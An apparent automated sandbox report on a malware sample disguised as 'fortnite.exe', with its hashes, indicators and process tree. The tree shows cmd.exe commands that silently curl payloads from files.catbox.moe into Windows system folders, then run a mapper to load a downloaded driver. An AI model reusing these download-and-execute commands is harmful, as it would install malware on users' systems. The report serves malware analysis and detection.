01d4438ab4eb34157102cef468aeafe178500b30a557efb0a14bcf117e7eeb8f

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
17-11-2024 18:51

Target

fortnite.exe
Size

1.2MB
MD5

4ce2034a29fa1119013b35414ac146c8
SHA1

1bc3b7ff47f254f3058f8030e7081d48e762b1fc
SHA256

01d4438ab4eb34157102cef468aeafe178500b30a557efb0a14bcf117e7eeb8f
SHA512

9ff48316eff7b1cf2317ce9c363b596a42100c0f2ff3c17f06c3efe8f3f4b8de93072f594c4dfc7f7cdbf9b4c768643448141ca78bab4db28122f88d3ad64e27
SSDEEP

24576:zMbpm9Z/zQfnkuGKF7rlpC+bKlAtc06Du:PrQnIGz

Score

1^/10

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

fortnite.exe

description	pid	process	target process
PID 2404 wrote to memory of 2420	2404	fortnite.exe	cmd.exe
PID 2404 wrote to memory of 2420	2404	fortnite.exe	cmd.exe
PID 2404 wrote to memory of 2420	2404	fortnite.exe	cmd.exe
PID 2404 wrote to memory of 2144	2404	fortnite.exe	cmd.exe
PID 2404 wrote to memory of 2144	2404	fortnite.exe	cmd.exe
PID 2404 wrote to memory of 2144	2404	fortnite.exe	cmd.exe
PID 2404 wrote to memory of 2996	2404	fortnite.exe	cmd.exe
PID 2404 wrote to memory of 2996	2404	fortnite.exe	cmd.exe
PID 2404 wrote to memory of 2996	2404	fortnite.exe	cmd.exe
PID 2404 wrote to memory of 2596	2404	fortnite.exe	cmd.exe
PID 2404 wrote to memory of 2596	2404	fortnite.exe	cmd.exe
PID 2404 wrote to memory of 2596	2404	fortnite.exe	cmd.exe
PID 2404 wrote to memory of 2800	2404	fortnite.exe	cmd.exe
PID 2404 wrote to memory of 2800	2404	fortnite.exe	cmd.exe
PID 2404 wrote to memory of 2800	2404	fortnite.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\fortnite.exe
"C:\Users\Admin\AppData\Local\Temp\fortnite.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/t3twl8.bin --output C:\Windows\Speech\physmeme.exe
  2⤵
  PID:2144
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:2420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/5yimk7.sys --output C:\Windows\System32\Tasks\driver.sys >nul 2>&1
  2⤵
  PID:2996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/wvsaqx.bin --output C:\Windows\System32\Tasks\mapper.exe >nul 2>&1
  2⤵
  PID:2596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Windows\System32\Tasks\mapper.exe C:\Windows\System32\Tasks\driver.sys
  2⤵
  PID:2800